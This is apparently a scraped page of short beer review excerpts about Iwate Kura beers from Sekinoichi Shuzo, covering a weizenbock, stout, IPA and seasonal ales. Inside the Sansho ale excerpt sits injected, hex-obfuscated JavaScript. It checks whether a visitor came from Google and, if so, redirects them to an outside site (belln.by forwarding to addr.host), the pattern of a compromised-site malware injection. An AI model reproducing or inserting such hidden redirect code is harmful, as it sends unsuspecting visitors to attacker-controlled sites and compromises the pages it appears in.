Iwate Kura Weizenbock by Sekiuchi Shuzo

Iwate Kura Weizenbock is a 7% weizenbock brewed by Iwate Kura Beer that is available from winter onwards for a limited time. It is brewed using a German recipe that includes 1.5 times the usual amount of … I guess in those cold nights, Iwate Kura Weizenbock would be a good buzz to warm you up. Iwate Kura Weizenbock Aroma …

Iwate Kura Sweet Caramel Ale by Sekinoichi Shuzo

Iwate Kura Sweet Caramel Ale

For those that like drinking beer or like reading reviews, you’ve probably heard of caramel malts or beers tasting like caramel. If you have, then I hope you’ve tried Iwate Kura Sweet Caramel Ale as this should be the gold standard for saying your beer tastes like caramel. Iwate Kura Sweet Caramel Ale is a spiced 7% winter seasonal from Sekinoichi Shuzo …

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Iwate Kura Golden Ale by Sekinoichi Shuzo

Iwate Kura Golden Ale

Iwate Kura Golden Ale, also known as Iwate Kura Kinirudo which means golden hall, is a summer seasonal beer from Sekinoichi Shuzo that has an abv of 5% and is brewed using European hops. It’s usually on sale from mid-May and can be found in both bottled and draught form. The golden hall on Iwate Kura Golden Ale refers to the …

Iwate Kura Japanese Ale Sansho by Sekinoichi Shuzo

Iwate Kura Japanese Ale Sansho

Sansho is fast becoming a popular adjunct in Japanese beers and with Iwate Kura Japanese Ale Sansho, Sekinoichi Shuzo have produced an spring seasonal spiced herb beer var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It’s a 5% beer that is made with locally sourced sansho, known as mountain pepper, locally sourced from Ichinoseki. Iwate Kura Japanese Ale Sansho is on sale from mid February and has …

Iwate Kura IPA by Sekinoichi Shuzo

Iwate Kura IPA

Iwate Kura IPA is Sekinoichi Shuzo’s main IPA that is produced all year round. It is based on the traditional IPA recipes that were once drunk after the long journey from the UK to India. Iwate Kura IPA is brewed with four times the regular amount of hops and won silver at the 2006 International Beer Competition. Iwate Kura IPA Aroma …

Iwate Kura Kin Kura by Sekinoichi Shuzo

Iwate Kin Kura

Iwate Kura Kin Kura is a 5% pilsner style beer from Iwate Kura Beer aka Sekinoichi Shuzo. Pilsners is perhaps the most common style of beer in Japan and Iwate Kura Kin Kura is another addition to that range. Pilsner here, pilsner there, pilsner just pretty much everywhere you turn. Strangely enough for Sekinoichi Shuzo, this beer is only available in …

Iwate Kura Stout by Sekinoichi Shuzo

Iwate Kura Kuro Kura

Iwate Kura Stout is also brewed under the name Iwate Kura Kuro Kura; however, the name stated seems to be the most common one on sale. It is available in both bottle and can form and is based on a British stout recipe. If you need more convincing, this beer has won multiple awards at different competitions since 1997. Iwate Kura …

Iwate Kura Beer by Sekinoichi Shuzo

Iwate Kura Beer

Iwate Kura Beer is a unique brewery in Japan, perhaps the world, as it is a cooperative brewery rather than a company. Launched in 1996, Iwate Kura Beer has the backing of five different companies. Like other countryside breweries, Iwate Kura Beer also has its history in sake manufacturing from the parent company Sekinoichi Shuzo. All of Iwate Kura Beer’s …

September Beers of the Month

Iwate Kura Red Ale

A delayed September Beers of the Month from BeerTengoku due to work commitments; however, September threw up a busy month for us here. Where to start? Microbreweries and major craft beer beers both came up trumps but there were some stinkers this month that are best left to linger in the doldrums. A couple more second opinions came along this month …

Iwate Kura Red Ale by Sekinoichi Shuzo

Iwate Kura Red Ale

Iwate Kura Red Ale is a 5% Irish red ale from Sekinoichi Shuzo, based in Iwate, Japan. Available in both cask and bottled form, it won a gold award at the 2007 International Beer Competition. Iwate Kura Red Ale Aroma & Taste Iwate Kura Red Ale pours out a deep amber-red colour with a slight head that lingers for longer than …